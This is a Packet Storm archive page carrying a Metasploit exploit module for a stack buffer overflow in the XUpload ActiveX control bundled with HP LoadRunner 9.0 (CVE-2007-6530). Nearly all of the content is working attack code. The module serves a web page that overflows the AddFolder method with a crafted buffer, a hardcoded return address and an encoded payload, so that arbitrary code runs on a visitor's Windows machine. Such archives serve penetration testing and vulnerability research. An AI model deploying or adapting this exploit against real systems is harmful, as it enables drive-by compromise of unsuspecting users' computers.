exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

HP LoadRunner 9.0 ActiveX AddFolder Buffer Overflow

HP LoadRunner 9.0 ActiveX AddFolder Buffer Overflow
Posted Dec 31, 2009
Authored by MC | Site metasploit.com

This Metasploit module exploits a stack overflow in Persits Software Inc's XUpload ActiveX control(version 2.1.0.1) thats included in HP LoadRunner 9.0. By passing an overly long string to the AddFolder method, an attacker may be able to execute arbitrary code.

tags | exploit, overflow, arbitrary, activex
advisories | CVE-2007-6530
SHA-256 | 0734205128b08ddc3df0d3272867d8a8333da02d7b7b61ab690efec93e3e3aaf

HP LoadRunner 9.0 ActiveX AddFolder Buffer Overflow

Change Mirror Download
##
# $Id: hp_loadrunner_addfolder.rb 7724 2009-12-06 05:50:37Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking

include Msf::Exploit::Remote::HttpServer::HTML

def initialize(info = {})
super(update_info(info,
'Name' => 'HP LoadRunner 9.0 ActiveX AddFolder Buffer Overflow',
'Description' => %q{
This module exploits a stack overflow in Persits Software Inc's
XUpload ActiveX control(version 2.1.0.1) thats included in HP LoadRunner 9.0.
By passing an overly long string to the AddFolder method, an attacker may be
able to execute arbitrary code.
},
'License' => MSF_LICENSE,
'Author' => [ 'MC' ],
'Version' => '$Revision: 7724 $',
'References' =>
[
[ 'CVE', '2007-6530'],
[ 'OSVDB', '39901'],
[ 'BID', '27025' ],
[ 'URL', 'http://lists.grok.org.uk/pipermail/full-disclosure/2007-December/059296.html' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 800,
'BadChars' => "\x00\x09\x0a\x0d'\\",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP SP2 Pro English / IE6SP0-SP2', { 'Offset' => 1388, 'Ret' => 0x323ad95f } ], # PocoNet.dll
],
'DisclosureDate' => 'Dec 25 2007',
'DefaultTarget' => 0))
end

def autofilter
false
end

def check_dependencies
use_zlib
end

def on_request_uri(cli, request)
# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)

# Randomize some things
vname = rand_text_alpha(rand(100) + 1)
strname = rand_text_alpha(rand(100) + 1)

# Set the exploit buffer
sploit = rand_text_alpha(target['Offset']) + [target.ret].pack('V')
sploit << p.encoded + rand_text_alpha(1024 - p.encoded.length)

# Build out the message
content = %Q|
<html>
<object classid='clsid:E87F6C8E-16C0-11D3-BEF7-009027438003' id='#{vname}'></object>
<script language='javascript'>
#{strname} = new String('#{sploit}')
#{vname}.AddFolder(#{strname});
</script>
</html>
|

print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

# Transmit the response to the client
send_response_html(cli, content)

# Handle the payload
handler(cli)
end

end
Login or Register to add favorites

File Archive:

August 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    20 Files
  • 2
    Aug 2nd
    4 Files
  • 3
    Aug 3rd
    6 Files
  • 4
    Aug 4th
    55 Files
  • 5
    Aug 5th
    16 Files
  • 6
    Aug 6th
    0 Files
  • 7
    Aug 7th
    0 Files
  • 8
    Aug 8th
    13 Files
  • 9
    Aug 9th
    13 Files
  • 10
    Aug 10th
    34 Files
  • 11
    Aug 11th
    16 Files
  • 12
    Aug 12th
    5 Files
  • 13
    Aug 13th
    0 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    25 Files
  • 16
    Aug 16th
    3 Files
  • 17
    Aug 17th
    6 Files
  • 18
    Aug 18th
    4 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close